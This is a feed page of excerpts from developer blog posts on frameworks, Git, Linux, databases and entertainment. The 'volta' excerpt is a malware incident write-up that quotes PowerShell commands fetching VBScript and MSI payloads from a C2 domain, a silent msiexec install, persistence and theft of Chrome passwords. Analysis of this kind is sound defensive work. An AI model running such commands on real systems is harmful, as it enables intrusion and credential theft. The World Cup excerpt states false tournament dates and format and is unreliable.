    I'm publishing content generated by ChatGPT to my website: https://damien.house/practice/ It summarizes work I did between 2006 and 2012 to create a research and development practice for software development. I began by asking Gemini how to approach my prompt strategy: What are some good ways to customize the "Configure Chat" dialog box in NotebookLLM ? I've set "Define your conversational goal, style, or role" to Custom, so I can customize the chat. I want to tell it to use "warm and collaborative tone", that it's role in our chat is that of an executive coach for leaders in the software engineering field, that I'm a leader in software engineering, and that the role they fill is that of a coach, advisor, and assistant to me. it would be nice to use the same settings across NotebookLLM, ChatGPT, and Claude as they all have this feature. https://gemini.google.com/share/df2f63e07d9d I had a similar plan in mind in using NotebookLLM as more of a document generator (it produced the briefing doc and strategic plan that I later added to ChatGPT). I found an issue though in using this plan in Claude. The dialog didn't include any mention of the roles I had created. I didn't spend much time debugging or tweaking so I didn't have time to make it work. I left it out of my process in the end. I focused on using ChatGPT for this chat. Link to source material for reference: https://drive.google.com/drive/folders/1ObYcWf_DZanV68_ts2WR27MQX81LhQTt?usp=sharing  ( 6 min )
    Coding Challenge Practice - Question 57
    The task is to implement Object.create() The boilerplate code function myObjectCreate(proto) { // your code here } If the prototype is null or not an object, throw an error if(proto === null || typeof !== "object") { throw new TypeError("Prototype must be an object or null") } An empty constructor function is declared, because every object in Javascript is created using a constructor. function F() {} The prototype of the empty constructor is set to the one provided F.prototype = proto Then, a new instance is returned return new F() The final code function myObjectCreate(proto) { // your code here if(proto === null || typeof proto !== "object") { throw new TypeError("Prototype must be object or null") } function F() {} F.prototype = proto; return new F; } That's all folks!  ( 6 min )
    San Diego Pilot Pitch [1]
    Check out this Pen I made!  ( 5 min )
    San Diego Pilot Pitch [1]
    Check out this Pen I made!  ( 5 min )
    Winning Ways: Expert Analysis for a World Cup Champion
    As we inch closer to the highly anticipated FIFA World Cup 2026, football enthusiasts worldwide are eager to know more about the tournament's schedule. Following the news that highlighted key dates for UEFA qualifiers, let's dive into the intricacies of what to expect from the world's most prestigious international football event. The World Cup is set to take place in the United States, Canada, and Mexico from November 2025 through December 2025. The tournament will feature a revamped format with 48 teams competing for the coveted title. The initial stage consists of eight groups of six teams each, making it an exciting and unpredictable start to the competition. Qualifiers: March to June 2024 - UEFA, CONMEBOL, CAF, AFC, and CONCACAF will conclude their qualifying matches. Draw: April 2025…  ( 7 min )
    How Movie Posters Reflect Cultural Shifts Through Decades
    Movie posters have long been more than mere marketing tools; they are visual snapshots of the cultural and societal moods of their times. From the roaring 1920s to the digital age of the 21st century, the design, themes, and imagery of movie posters have mirrored the changing tastes, concerns, and aspirations of society. Collectors and enthusiasts who cherish framed vintage movie posters often recognize that each piece tells a story not only about the film it advertises but also about the era in which it was created. The earliest movie posters emerged alongside the rise of cinema as a popular entertainment medium in the 1920s. During this period, posters were often hand-painted, featuring dramatic illustrations and bold typography. They emphasized spectacle and star power, reflecting socie…  ( 10 min )
    What happens when your cluster runs out of CPU? — The unsolved DevOps paradox
    🧩 What happens when your cluster runs out of CPU? — The unsolved DevOps paradox The cluster scales pods up and down automatically — until one day, the cluster itself runs out of capacity. 😅 That’s when I started wondering: 💭 If the cluster’s total CPU resources hit the ceiling — what’s really the right move? Should we just offload the pain to a managed cloud provider like AWS EKS or GKE and “dust our hands off”? And at large scale, this becomes a real DevOps riddle — one that teams still debate every day. 🧠 The Thought Behind It When CPU usage spikes across all nodes: Pods start pending 💤 Rely on cloud-managed autoscaling (e.g. GKE, EKS, AKS)? It’s where operations meets mathematics: balancing resources, latency, and cost in an infinite scaling loop. So what do you think? If you hit 100% CPU cluster-wide — what’s your next move?  ( 7 min )
    ZipperOS: A Community-Driven Linux OS Designed by Users, for Users
    Hey everyone! 👋 I’m excited to share ZipperOS, a modern Linux distribution I’ve been developing. It’s built to evolve based on user feedback — the community helps decide what features get added next. What’s available now: Download the latest ISO and try ZipperOS today: Archive.org ISO Explore the ZipperOS Fandom page zipperos.bettermode.io Full documentation and guides on the official site Why ZipperOS? I’d love feedback, ideas, and thoughts on what people want from a Linux OS! — Wolfie  ( 6 min )
    The Bug That Taught Me Everything
    It was 2 AM on a Tuesday, and I was convinced our production database was haunted. Users were reporting that their shopping carts would randomly empty—not all the time, just sometimes. The logs showed nothing. The code looked fine. I'd been staring at the same function for three hours, adding print statements like breadcrumbs, trying to find where the data disappeared. My coffee had gone cold. My eyes burned. And then, in a moment of desperate frustration, I did something I should have done hours earlier: I actually read the error message. Not skimmed it. Not assumed I knew what it meant. Actually read it, word by word. "Race condition in concurrent write operation." Five words that changed everything. The bug wasn't in the code I was looking at—it was in how two pieces of code were talking to each other when users clicked too fast. The solution took ten minutes to implement. The lesson took all night to learn: sometimes the answer isn't hidden in complexity; it's sitting right there in plain text, waiting for you to stop assuming and start listening.  ( 6 min )
    Python by Structure: Generator Delegation with Yield From
    Timothy was studying a function that traversed a nested directory structure, and his forehead was creased with confusion. "Margaret, I'm trying to understand this code. It has yield from in it, and I can't figure out what it's doing differently than just yield." Margaret looked over his shoulder at the screen. "Ah, generator delegation. This is one of Python's more elegant features, but it's subtle. Let me show you why it exists and what the structure reveals." Timothy's code was attempting to flatten a nested list structure: def flatten(items): result = [] for item in items: if isinstance(item, list): for sub_item in flatten(item): result.append(sub_item) else: result.append(item) return result "This works," Timothy said…  ( 8 min )
    Ng-News 25/45: Analog v2, Debouncing in SignalForms, Testing & Time
    Analog.js 2.0 brings Angular even closer to the Vite ecosystem. And we also get debouncing in Signal Forms and fresh testing guidance from Andrew Scott. ⚙️ Analog.js 2.0 Analog.js was created by Brandon Roberts as a meta-framework for Angular and was released in version 2.0. A meta-framework extends a frontend framework with backend capabilities, like running data-fetching and processing on the server. Apart from being a meta-framework, what really makes Analog stand out is its integration of Angular into Vite. React, Vue, Svelte and many others have a Vite build plugin, which means Vite actually builds the application. Angular does not integrate into Vite as a plugin. It has its own build system. Angular’s build system uses the Vite dev server and - like Vite - esbui…  ( 8 min )
    Understanding Hermes, Fabric, and the New Architecture in React Native
    🚀 Understanding Hermes, Fabric, and the New Architecture in React Native If you've been building React Native apps for a while, chances are you've heard terms like Hermes, TurboModules, and Fabric floating around. When I recently upgraded from an older React Native project to v0.80.2, I realized these weren't just buzzwords—they're a fundamental shift in how React Native works under the hood. This guide will demystify these technologies and show you why they matter for your next React Native project. The Evolution of React Native Hermes: The JavaScript Engine Built for Mobile The New Architecture: Beyond the Bridge TurboModules: Native Modules, Supercharged Fabric: Modern UI for Modern React Migration Guide Performance Comparisons Conclusion Before diving into the new technologies, let'…  ( 9 min )
    The Data Analytics Lifecycle
    The data analytics lifecycle is a series of steps to transform raw data into valuable and easily consumable data products. These can range from well-managed datasets to dashboards, reports, APIs, or even web applications. In other words, it describes how data is created, collected, processed, used, and analyzed to achieve a specific product or business goal. The increasing complexity in organizational dynamics directly impacts how data is handled. Numerous people must use the same data but with different goals. While a top executive might need to know just a few top-level key performance indicators to track business performance, a middle manager might need a more granular report to support daily decisions. This highlights the need for a governed and standardized approach to creating and ma…  ( 8 min )
    Linux for DevOps - The Complete Hands-On Beginner-to-Advanced Guide (Week 1 Series)
    Linux for DevOps — Part 1 https://www.linkedin.com/in/ashish360/ https://devopswithashish.hashnode.dev/linux-for-devops-the-complete-hands-on-beginner-to-advanced-guide-week-1-series Introduction + Filesystem & Directory Commands 🚀Why Linux Matters in DevOps The more I explored Linux this week, the clearer it became why every DevOps engineer, cloud engineer, SRE, and backend developer depends on Linux daily. Linux is the foundation of DevOps, because it is: 🟦 Cost-Effective Free and open-source No licensing fees Low maintenance and predictable performance 🟦 High Performance Lightweight and fast Works on everything from Raspberry Pi to enterprise servers Efficient memory and process management 🟦 Secure & Reliable Strong permission system Very limited malware exposure Systems can run for…  ( 29 min )
    Why Your Internet Speed Test Lies
    Speedtest.net vs Fast.com in real life Your speed test says 400 Mbps. YouTube still buffers. Nothing feels more cursed than that. That happened on my home fiber line. Speedtest.net proudly showed more than 418 Mbps down, but YouTube sessions still dropped quality or paused to buffer. The numbers looked great, the experience did not. The trick is simple: speed tests often measure the best case, while streaming exposes the real case. Speedtest.net is built to show what your connection can do when everything is aligned in its favor. It talks to dedicated, well peered servers and opens several parallel TCP connections to push your link as hard as possible. The result is a nice high number that represents peak capacity, not necessarily what you get for every service. Fast.com, from Netf…  ( 9 min )
    N+1 query in databases
    Table of content What is N+1 query The N+1 query problem is a database anti-performance pattern, where an application executes one query to fetch a list of items (N items in 1 query) and then makes N additional individual queries to fetch related data for each item in that list(N number of queries). So, in total you are making 101 queries, 1 query to get the list and 100 query to get names of authors. This results in N+1 queries for what should ideally be a single efficient or a few queries. Imagine you go to a library and you ask the librarian to give you a list 100 books of your favorite genre. The librarian gives you the list of 100 books(this is 1 query). Now you have your list, but you don't know author's name of those 100 books. To know the name of those authors you again go to the…  ( 7 min )
    Building RSSRenaissance: AI-Powered Summaries for Smarter Reading
    Building RSSRenaissance: AI-Powered Summaries for Smarter Reading When I set out to build RSSRenaissance, my goal was simple: create a tool that helps users stay informed without drowning in endless articles. With the sheer volume of tech, news, and educational content available online, I wanted a solution that could fetch feeds, summarize content, and deliver actionable insights instantly. Inspiration I was inspired by the challenge of managing information efficiently. As a developer and someone who constantly explores new tech trends, I realized that even curated feeds can be overwhelming. I wanted a platform that doesn’t just deliver content but distills it intelligently. What RSSRenaissance Does Fetches RSS feeds from multiple sources like TechCrunch, The Verge, and Ars Technica. Proce…  ( 7 min )
    I Built 20+ Free Developer Tools as a Solo Dev - Here’s How (and Why)
    As developers, we all jump between multiple small tools daily—JSON formatter, CSS gradient generator, cron builder, QR generator, image compressor, boilerplate generator, and so on. But the experience is always the same: Too many ads I got tired of it. So I built Jaconir - a free, fast, no-login productivity hub with 20+ tools for developers, designers, and students. 👉 https://jaconir.online/tools This post explains how I built it, what tools it includes, and why I created it. 🎯 Why I Built Jaconir I’m a developer + designer + indie game creator. I didn’t want: ads I just wanted simple tools that work instantly. So I built them myself. 🛠️ Tools I Built (So Far) JSON Formatter Full list: https://jaconir.online/tools All tools are: fast 📘 Learning: DSA + System Design I also built free learning hubs for students: 🚀 DSA Learning Hub https://jaconir.online/learn/dsa 🔥 System Design (Work in Progress) https://jaconir.online/learn/system-design Each page has: simple explanations 🎨 Resources for Designers & Devs Jaconir also includes: 👉 https://jaconir.online/resources Everything is free to download and use. ⚙️ Tech Stack HTML, CSS, JavaScript 🚀 What I’m Building Next Here’s what I’m adding next: Regex builder ❤️ Why I’m Sharing This The internet is filled with heavy tools, ads, and login walls. If you want to try the tools, here you go: 👉 https://jaconir.online/tools If you have suggestions, I’d love to hear them 🙏  ( 7 min )
    Ringer Movies: ‘Snake Eyes’ With Bill Simmons, Sean Fennessey, and Van Lathan | Ringer Movies
    ‘Snake Eyes’ Rewatch Bill Simmons, Sean Fennessey, and Van Lathan dive headfirst into Brian De Palma’s neon-soaked conspiracy thriller, unpacking the film’s iconic one-take shots, Nic Cage’s smoldering intensity, and the shadowy corruption at the heart of this late-’90s gem. Podcast Lowdown Produced by Craig Horlbeck, Chia Hao Tat, and Eduardo Ocampo, this episode is brought to you by PayPal’s holiday deal (5% cash back when you Pay in 4 through 12/31). Don’t forget to subscribe to The Ringer’s YouTube channels and follow on Twitter, Facebook, and Instagram for more movie madness. Watch on YouTube  ( 6 min )
    CinemaSins: Everything Wrong With Jurassic World Rebirth In 17 Minutes Or Less
    Everything Wrong With Jurassic World Rebirth In 17 Minutes Or Less CinemaSins takes on the latest dino-resurrection in a bite-sized 17-minute roast, pointing out all the plot sins of Jurassic World Rebirth. Alongside the video, they’re hyping up their main site (cinemasins.com) and various YouTube channels—TV Sins, Commercial Sins and the CinemaSins Podcast Network. They’re also pushing a Linktree for fresh updates, a quick sinful poll, and a Patreon for backers. You can connect with the writers on Twitter and Instagram, join the Discord or Reddit communities, and catch extra content on TikTok and Jeremy’s new book. Watch on YouTube  ( 6 min )
    The Big Bulls
    Check out this Pen I made!  ( 5 min )
    The fastest and easiest way to setup React with Bulma and Vite.
    Install Bulma and React in 30 Seconds Alex Smith ・ Nov 16 #react #bulma #vite #cli  ( 6 min )
    5 Essential Skills Every Software Engineer Needs in 2025
    The world of software engineering is evolving faster than ever. New tools, smarter automation, rapid AI growth, and changing workplace expectations mean developers must constantly adapt. As we step into 2025, employers are searching for engineers who not only write efficient code but also understand systems, collaborate effectively, and stay ahead of the curve. Here are five essential skills every software engineer needs in 2025 — whether you’re a beginner or an experienced developer. Mastery of AI-Driven Development Artificial intelligence is no longer optional. Tools like code assistants, AI testing frameworks, and automated documentation generators have become part of daily development. Why it matters Helps catch errors earlier Enhances decision-making with predictive insights What you …  ( 7 min )
    AI Agents: From Zero to Hero in 5-Days With Kaggle and Google
    This is a submission for the Google AI Agents Writing Challenge: Learning Reflections I already knew about the possibility of using multiple AI agents to design complex workflows: my company is building one right now — and I’m partially involved in the development process. But I had never tried Google’s Agent Development Kit (ADK) before. Here’s what my 5-days journey with Kaggle was like. I have no doubt that the most interesting part of the course was the white papers. Despite only lasting five days, they will give me the opportunity to delve deeper into all the topics covered in the coming weeks or even months. References may require even more. Will I have time to read them all? The Kaggle Notebooks, which I already knew, were an excellent laboratory for putting into practice what I had…  ( 9 min )
    YubiKey vs Virtual MFA: The Data-Driven Decision for Root Account Security
    Your AWS or GCP root account has unlimited access: billing changes, account closure, unrestricted resource modification. A compromised root account doesn't just mean a data breach—it means potential business extinction. Yet the question of how to secure it with multi-factor authentication remains surprisingly contentious: physical YubiKeys or virtual authenticator apps? This decision matters more than most security choices because root accounts sit outside normal guardrails. You can't delegate root account access to IAM roles, you can't easily test disaster recovery, and mistakes are catastrophic. The traditional security playbook says "use hardware MFA"—but that advice predates the reality of distributed teams, remote-first companies, and the operational complexity of managing physical de…  ( 10 min )
    Recently, while browsing through GitHub, I stumbled upon a repository that’s rapidly gaining momentum — a toolkit powerful enough to help you build entire systems. You probably know it already: TanStack. How are you fetching data ?
    A post by Mcdonald Musimwa  ( 6 min )
    How Brokers Can Strengthen Risk Communication With Clearer Property Insights
    Insurance brokers increasingly find themselves navigating a landscape where clients expect faster insights, clearer explanations, and deeper transparency into how property risks affect coverage outcomes. Yet even the most experienced brokers face challenges translating technical details into actionable guidance—especially as buildings grow more complex, climate pressures intensify, and carriers demand more documentation to justify underwriting decisions. The key to stronger communication lies not only in understanding building conditions, but in presenting them in a way that helps clients make informed decisions without feeling overwhelmed by engineering terminology or risk scoring models. Clients rarely struggle because they lack interest in their property’s condition. More often, they st…  ( 7 min )
    volta
    Initial Access & Delivery Chain Summary Threat actors leveraged WhatsApp as the initial access channel, sending messages to multiple employees within the organization to build trust before sharing a malicious ZIP file. Since ZIP files cannot be opened on mobile devices, users were compelled to access the archive on their endpoints, where they were deceived into executing an embedded VBScript payload. Execution of the VBScript initiated a multi-stage payload delivery mechanism, where it: Downloaded a secondary VBScript and an MSI installer from a remote C2 server (varegjopeaks[.]com) and saved them to the temporary directory. Executed the MSI file silently via msiexec.exe, which dropped an additional VBS script named “installer”. Created persistence by adding the installer script to the Run registry key. Downloaded a specific Python environment and executed a PowerShell script that profiled the installed Chrome version and downloaded the official Chrome test automation driver. Accessed and exfiltrated credentials stored in the Chrome password vault, continuously harvesting newly saved passwords due to the established persistence. Observed Malicious Execution Activity WScript Executions "wscript.exe" C:\Users*\AppData\Local\Temp\baixa_sscado.vbs "WScript.exe" C:\Users*\AppData\Local\Temp**.zip.0e6*.vbs "wscript.exe" C:\Users*\AppData\Local\Temp\installer.vbs PowerShell Download Activity "powershell.exe" -ep bypass -c "Invoke-WebRequest -Uri 'hxxps://varegjopeaks[.]com/altor/baixa_sscado.vbs' -OutFile $env:TEMP\baixa_sscado.vbs -UseBasicParsing" "powershell.exe" -ep bypass -c "Invoke-WebRequest -Uri 'hxxps://varegjopeaks[.]com/altor/teste_obscado.vbs' -OutFile $env:TEMP\installer.vbs -UseBasicParsing" "powershell.exe" -ep bypass -c "Invoke-WebRequest -Uri 'hxxps://varegjopeaks[.]com/altor/installer.msi' -OutFile $env:TEMP\installer.msi -UseBasicParsing" Msiexec Execution "msiexec.exe" /i C:\Users*\AppData\Local\Temp\installer.msi /quiet /norestart  ( 6 min )
    🚀 Creating a Future-Proof Android Ads SDK: Balancing Monetization, Performance, and User Experience
    Table of Contents Introduction Understanding the Android Ads SDK Landscape. Architectural Foundations for Your SDK. Performance Optimization Techniques. Balancing Monetization and User Experience. Technical Implementation Details. Testing and Monitoring. Future-Proofing Your SDK Conclusion. Introduction: Understanding the Android Ads SDK Landscape The Current State of Mobile Advertising: The mobile advertising ecosystem has matured significantly over the past decade. Today, developers have access to multiple monetization models: Cost Per Mille (CPM) for impressions, Cost Per Click (CPC) for user interactions, and Cost Per Install (CPI) for app downloads. This diversity offers flexibility but also introduces complexity when deciding which models your SDK should support. The shift toward pro…  ( 19 min )
    Create new Database in Postgres
    Pre-requisites You have PostgreSQL installed in your system. You have root privileges Logging into psql as root Open your terminal and Enter the following commands - sudo -i -u postgres psql and press enter. You have entered the psql terminal. First, you need to have a user with which you will login to the database. CREATE USER new_username WITH ENCRYPTED PASSWORD 'your_secure_password'; CREATE DATABASE database_name; GRANT ALL PRIVILEGES ON DATABASE database_name TO new_username; \q to exit the psql terminal and exit the postgres session. Run the below command to verify whether you are able to login to the database - psql -U test_user my_blog_db_test psql: error: connection to server on socket "/var/run/postgresql/.s.PGSQL.5432" failed: FATAL: Peer authentication failed for user "test_user" This error arises because postgres is set to use peer authentication by default. We need to change this to md5 in /etc/postgresql/14/main/pg_hba.conf Open /etc/postgresql/14/main/pg_hba.conf in the editor of your choice. Search for local all postgres peer in the file Add this line below the postgres config - local all test_user md5 Restart the postgres service. sudo systemctl restart postgresql Login to postgres - psql -U test_user my_blog_db_test and enter the password when prompted. Congratulations! You have successfully created your database.  ( 6 min )
    Building Resilient Identity Security in Modern Hybrid Environments
    In today’s distributed IT landscape, identity has become the foundation of enterprise security. With organizations relying on a mix of on-premises systems, cloud platforms, SaaS applications, and mobile devices, identity data now moves and changes constantly. Protecting this dynamic environment requires more than periodic checks—it demands a proactive, well-structured approach to continuous identity governance and threat awareness. Modern infrastructures include multiple interconnected identity sources that evolve independently yet influence each other. Administrators rotate, automation updates accounts, external partners gain temporary access, and new cloud services introduce fresh permission models. Even a single misconfiguration—such as an overly permissive role, a reactivated dormant u…  ( 7 min )
    Git Force Push: Bypassing Repository Protection Rules
    Git Force Push: Bypassing Repository Protection Rules When you encounter repository rule violations while pushing code, here's how to override these restrictions safely. Method 1: Temporary Rule Disable Navigate to your repository's settings panel Locate the branch protection section Temporarily disable the following safeguards: Mandatory review requirements Status verification checks Administrator inclusion rules Execute your push command with force flags Immediately restore all protection rules Method 2: Safer Force Alternatives # Preferred method - verifies remote state git push target-repository primary-branch --force-with-lease # Standard force override (use cautiously) git push target-repository primary-branch --force Method 3: Token Authentication Bypass When standard authentication fails: Generate dedicated access credentials Incorporate them into your repository URL Execute the push command with necessary flags ⚠️ Critical Considerations Collaboration Impact: Rewriting history can disrupt team workflows Data Integrity: Potential for irreversible code loss Best Practice: Always use feature branches for significant changes Emergency Use: Reserve these methods for genuine emergencies Recommended Workflow For team projects, prefer this approach: git checkout -b feature-description git push target-repository feature-description # Initiate merge request through web interface Remember: With great power comes great responsibility. Use these methods judiciously and always communicate with your team before overriding repository protections.  ( 6 min )
    Get Good Git Ninja, don't Get Got (눈_눈) O=('-'Q)
    🔥 Git as Naruto Jutsu --- Ultimate Cheat Sheet No Pain No Gain git pull → Banshō Ten'in (Universal Pull) Pulls all remote changes toward you --- sometimes dragging you into git push → Shinra Tensei (Almighty Push) Blast your commits to the remote. Errors? Cooldown needed. git add → Summoning Jutsu Select which files you want to bring into the next commit. git commit → Chibaku Tensei (Planetary Devastation) Seal all your changes into one perfect sphere (commit). git merge → Edo Tensei Bring two branches back together. Sometimes peaceful, sometimes chaotic. git push -f → Revival of the Outer Path Overwrite history. Forbidden technique. Use carefully. git stash → Flying Thunder God Technique Teleport your work away instantly and return to a clean slate. git branch → Shadow Clone Jutsu Split into multiple versions for experimentation. git rebase → Infinite Tsukuyomi Rewrite history like it never happened. git revert → Izanagi / Izanami Undo destruction and restore order --- at the cost of one commit eye. Local repo = Nagato's real body Remote repo = Origin of Pain Commit chain = Six Paths Merge conflicts = chakra overload  ( 6 min )
    GitHub Push Protection: How I Fixed the "Repository Rule Violations" Error
    Photo by @flyd2069 on Unsplash It was a typical Tuesday afternoon. I was working on my PayStack Complete API project, making some final tweaks before pushing to GitHub. I ran the usual commands: git add . git commit -m "Updated environment configuration" git push -u origin main And then it happened - the dreaded red text: remote: error: GH013: Repository rule violations found for refs/heads/main. remote: - GITHUB PUSH PROTECTION remote: ————————————————————————————————————————— remote: Resolve the following violations before pushing again remote: - Push cannot contain secrets My heart sank. GitHub had detected a Stripe API Key in my commit history and blocked the push. The violation was clear: Secret Type: Stripe API Key Location: Commit 47b22e5f1d4a9bc6...... File: .env:6 …  ( 8 min )
    Part 3: From Neural Networks to Autonomous Coffee Roasting - Orchestrating MCP Servers with .NET Aspire and n8n Agents
    Introduction In Part 1, we have fine tuned a neural network to detect coffee first crack from audio using PyTorch and the Audio Spectrogram Transformer. In Part 2, we have built two MCP (Model Context Protocol) servers - one to control my Hottop KN-8828B-2K+ roaster and another to detect first crack using a microphone in real-time. This is where put it all together. But first: can .NET Aspire orchestrate Python MCP servers and n8n workflows to autonomously roast coffee? Spoiler alert: Yes, it can. And the coffee tastes spot on. Autonomous coffee roasting isn't just about detecting when first crack happens. It's a complex orchestration problem involving: Multiple systems: Python MCP servers to interact with hardware, an agent layer for orchestration (n8n workflows to begin with), contain…  ( 14 min )
    Building a Fully-Featured Custom WebView App in Android: Complete Guide
    Let us create a fully custom WebView app with advanced features in Java. Here's a comprehensive implementation: package com.example.customwebview; import android.annotation.SuppressLint; import android.content.Intent; import android.graphics.Bitmap; import android.net.Uri; import android.os.Bundle; import android.os.Handler; import android.os.Looper; import android.view.KeyEvent; import android.view.Menu; import android.view.MenuItem; import android.view.View; import android.webkit.*; import android.widget.EditText; import android.widget.ImageButton; import android.widget.LinearLayout; import android.widget.ProgressBar; import android.widget.TextView; import androidx.appcompat.app.AppCompatActivity; import androidx.appcompat.widget.Toolbar; import androidx.swiperefreshlayout.widget.SwipeR…  ( 10 min )
    React Router v7 Transition Future Flag — The Complete Guide for 2025
    React Router is evolving fast — and the next major shift is already visible through its future flags. One of the most important ones? v7_startTransition This flag activates React Router’s upcoming behavior for v7: All internal state updates in React Router will be wrapped in React.startTransition() by default. This is a structural performance upgrade. React Router will begin scheduling some updates as non‑urgent, allowing the UI to stay responsive even when navigation triggers heavy renders. In v6 today, state updates inside navigation are urgent. In v7, many of them become deferred. This means: Smooth route transitions No UI freeze when loading a large route Less jank on slow devices Navigation stays responsive even under load And you can opt‑in early using: createBrowserRoute…  ( 8 min )
    Why LogLayer is the Logging Abstraction Framework for TypeScript
    Logging is one of those fundamental concerns that every application must address, yet it's often treated as an afterthought. In the JavaScript and TypeScript ecosystem, developers face a bewildering array of logging libraries: Pino, Winston, Bunyan, and countless others. Each library has its own API, quirks, and conventions. This fragmentation creates real problems: inconsistent codebases, vendor lock-in, and the constant need to rewrite logging code when requirements change. LogLayer solves these problems by providing a unified abstraction layer that sits on top of any logging library while offering a consistent, fluent API that makes logging both powerful and pleasant to use. Before diving into LogLayer's solutions, let's examine the problems it addresses. Most logging libraries share a …  ( 10 min )
    Understand The Algorithm Behind The Coin Change Problem With Mathematics
    Hello, I'm Ganesh. I'm working on FreeDevTools online, currently building a single platform for all development tools, cheat codes, and TL; DRs — a free, open-source hub where developers can quickly find and use tools without the hassle of searching the internet. Have you ever wondered how a vending machine knows exactly how to give you back your change? Or how computer programs figure out the most efficient way to group numbers? I wanted to understand a mathematical concept called Integer Partitions and got to know how it powers one of the most famous algorithms in Computer Science. Here is a straightforward breakdown of the logic, the code, and why it is so much faster and accurate. In simple terms, an integer partition is a way of breaking a positive integer down into a sum of smaller p…  ( 8 min )
    Syntax Trap #002
    Welcome to the second Syntax Trap. Today's all about comparing Arrays and Strings. console.log([1, 2, 3] == "1,2,3"); What's the result? NaN true false TypeError This one took me a bit to understand when I started to learn JavaScript as I was used to how other programming languages work.  ( 5 min )
    Dagger 2.0 vs Hilt in Android: A Comprehensive Overview
    Dependency Injection (DI) is a crucial design pattern in Android development, it helps in enhancing modularity, testability, and maintainability of our applications. Dagger 2.0 has long been a popular choice for DI in Android, but Hilt, a newer framework built on top of Dagger, aims to simplify its usage. This article will explore the differences between Dagger 2.0 and Hilt with their respective use cases, and when to choose one over the other. Understanding with Dagger 2.0 Versatility: Dagger allows developers to create complex dependency graphs with fine-grained control over component lifecycles and scopes. Performance: By generating code at compile time, Dagger minimizes runtime overhead, leading to better performance in production applications. Configurability: Developers can customize…  ( 7 min )
    Ringer Movies: ‘Snake Eyes’ With Bill Simmons, Sean Fennessey, and Van Lathan | Ringer Movies
    The Ringer’s Bill Simmons, Sean Fennessey, and Van Lathan dig into Brian De Palma’s Snake Eyes, breaking down Nic Cage’s over-the-top energy, the film’s twists, and why it’s a cult standout. Expect hot takes, laughs, and plenty of sewer-level enthusiasm. Produced by Craig Horlbeck, Chia Hao Tat, and Eduardo Ocampo, this episode is powered by PayPal—snag 5% cash back when you Pay in 4 all holiday season (offer ends 12/31). Watch on YouTube  ( 6 min )
    Untitled
    Check out this Pen I made!  ( 5 min )
    CinemaSins: Everything Wrong With Jurassic World Rebirth In 17 Minutes Or Less
    Everything Wrong With Jurassic World Rebirth In 17 Minutes Or Less takes a hilariously brutal look at the latest dino outing—counting every plot hole, overused trope and “wait, what?” moment as our favorite prehistoric pals keep getting resurrected. Expect a rapid-fire tally of sins, cheeky commentary and all the popcorn-fueled nitpicking you crave. Beyond the video roast, CinemaSins drops links to their website, socials (YouTube, TikTok, Instagram, Discord, Reddit), a sinful fan poll, and a Patreon pitch to keep the sin machine running. Shout-outs to writers Jeremy, Chris, Aaron, Jonathan, Deneé, Ian and Daniel seal the credits, proving it takes a small army to sin this hard. Watch on YouTube  ( 6 min )
    Por que usar Softmax com Categorical Cross-Entropy para o problema da flor íris?
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    Learn Windows CLI Hands-on
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    Installing and Loading Plotly in R
    Data visualization today is both an art and a science. As organizations adopt data-driven decision-making, the ability to present insights clearly—and interactively—becomes incredibly valuable. R offers a variety of visualization libraries, with ggplot2, ggvis, and lattice being long-standing favorites. But when it comes to interactive graphics, static plots often fall short in performance, flexibility, and user experience. What is Plotly? Advantages of Plotly Build D3-level visualizations without D3 You get the power of interactive DOM-based charts without needing to learn JavaScript. Multi-language support Plotly works across Python, R, MATLAB, and JavaScript—making it multi-disciplinary. Easy hosting & sharing Charts can be exported, embedded, or hosted via Plotly’s cloud. Chart Studio …  ( 9 min )
    Real-Time Multi-Platform Price Scraper (Amazon, Temu, eBay, Walmart) Open Source Python Tool
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    Deploying a Web Server VM and Installing IIS on Windows
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    Learn Windows CLI Hands-on
    Hey, interactive online course that lets you practice directly in a simulated terminal. 👉 https://windows-cli.arnost.org/ It covers the basics of the Windows command line with guided lessons and real-time practice.  ( 6 min )
    🧠 Hydration, Selective Hydration & Progressive Hydration Explained (React vs Vue/Nuxt vs Others)
    Hydration is one of the most important concepts in modern frontend frameworks, yet also one of the most misunderstood. In 2025, frameworks like React 18+, Vue/Nuxt 3, SvelteKit, SolidStart, Qwik, Astro all approach hydration differently — some progressively, some selectively, some partially, some never fully. This post breaks it all down with real examples, SSR + SSG scenarios, and an extended example so the concept stays in your mind forever. When a page is SSR or SSG, the browser gets plain HTML: Click me Item 1 Item 2 But HTML alone does nothing — no JavaScript, no event listeners. Hydration is when the framework: Loads JS bundles Recreates the virtual component tree Attaches event listeners Activates rea…  ( 9 min )
    How to Embed a HubSpot Form in Next.js and react js
    HubSpot forms are widely used for lead generation, newsletters, onboarding workflows, and marketing funnels. But when developers try to embed a HubSpot form inside a Next.js project, the default embed snippet usually fails. Forms don’t load, scripts break, and SSR errors begin to appear. Before implementing anything, it’s important to understand why this happens in a Next.js environment. This article covers theory only — the actual working solution is linked at the end. HubSpot provides an embed script that works perfectly in standard HTML sites. But Next.js renders pages on both the server and the client, causing conflicts. Here’s why the embed fails: window During SSR, window doesn’t exist — so HubSpot script breaks. It needs a target div in the DOM, which only exists after hydrati…  ( 7 min )
    I Got My First Dev Job After 6 Months of Rejections - Here's What Actually Worked
    I Got My First Dev Job After 6 Months of Rejections - Here's What Actually Worked Hey, Just accepted my first junior dev position and wanted to share what actually got me there, because it wasn't what everyone on Reddit tells you. My "Perfect" Resume That Nobody Wanted CS degree, internships, active GitHub, LeetCode grind. Had all the boxes checked. Still got ghosted by 95% of companies for months. The breaking point was people telling me "AI will replace you anyway" while I'm literally shipping code every day. Felt insane. What Actually Changed Honestly, I didn't suddenly get better at coding. Three things shifted: Stopped spray-and-pray applications. Used to send 20+ apps/week with the same resume. Started doing 5/week but actually researched each company - matched my resume to their t…  ( 7 min )
    🌐 How to Choose the Best Domain
    A domain is more than just an address — it’s your brand, identity, and the first impression users get when they find you online. Choosing the right one can feel stressful, but with a bit of strategy, it's totally doable. Here’s how to pick a domain that looks professional, sounds clean, and works long-term. Short domains are easier to type, share, and remember. Good examples: stripe.com github.com sx.dev Avoid long phrases, hyphens, or weird spellings. If someone can’t repeat your domain after hearing it once, it’s too complicated. Your domain should reflect your project, team, or brand idea. Ask yourself: What does my product do? What feeling or concept should the domain communicate? Would a stranger understand something from the name alone? Meaning increases trust. The TLD (Top-Level D…  ( 7 min )
    Toon: A Lightweight Data Format That Helps Cut LLM Token Costs
